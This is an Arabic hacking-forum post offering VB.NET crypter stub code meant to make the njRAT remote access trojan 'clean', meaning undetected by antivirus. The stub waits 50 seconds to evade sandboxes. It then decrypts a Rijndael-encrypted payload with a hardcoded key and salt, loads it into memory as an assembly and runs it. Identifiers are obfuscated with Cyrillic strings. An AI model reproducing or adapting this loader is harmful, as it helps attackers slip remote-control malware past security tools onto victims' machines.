تشفير سيرفر نجرات كلين 100%100

تم تحميل الصفحة في 0,7021813 ثانية
تشفير سيرفر نجرات كلين 100%100
إنضم
27 أبريل 2017
المشاركات
23
الإعجابات
13
النقاط
3
العمر
30
الإقامة
مدينة تركيا
بسم الله الرحمن الرحيم
و
الصلاة والسلام على اشرف الخلق والمرسلين

سيدنا محمد وعلى اله وصحبه اجمعين
رجعنا من جديد
بتشفير سيرفر نجرات كلين 100%100
Rijndael خورازمية

فيديو تشفير سيرفر نجرات كلين 100%100
كود:
Imports System.Security.Cryptography

Module rNEXDSSyvIx
    Sub main()
        System.Threading.Thread.Sleep(50000)
        Dim ыаыеа As String = ""
        Dim ыаыеаыа As Byte() = Convert.FromBase64String(ыаыеаыаааыыоц(ыаыеа, "тПзааенмдбіцхзсоім"))



        Dim ыаыеаыааа As System.Reflection.Assembly = System.Reflection.Assembly.Load(ыаыеаыа)
        ыаыеаыааа.EntryPoint.Invoke("", Nothing)


    End Sub
    Public Function ыаыеаыаааыыоц(ByVal UDecryptU As String, ByVal UKeyU As String)
        Dim XoAesProviderX As New RijndaelManaged
        Dim XbtCipherX() As Byte
        Dim XbtSaltX() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
        Dim XoKeyGeneratorX As New Rfc2898DeriveBytes(UKeyU, XbtSaltX)
        XoAesProviderX.Key = XoKeyGeneratorX.GetBytes(XoAesProviderX.Key.Length)
        XoAesProviderX.IV = XoKeyGeneratorX.GetBytes(XoAesProviderX.IV.Length)
        Dim XmsX As New IO.MemoryStream
        Dim XcsX As New CryptoStream(XmsX, XoAesProviderX.CreateDecryptor(), _
          CryptoStreamMode.Write)
        Try
            XbtCipherX = Convert.FromBase64String(UDecryptU)
            XcsX.Write(XbtCipherX, 0, XbtCipherX.Length)
            XcsX.Close()
            UDecryptU = System.Text.Encoding.UTF8.GetString(XmsX.ToArray)
        Catch
        End Try
        Return UDecryptU
    End Function
End Module
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 1 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل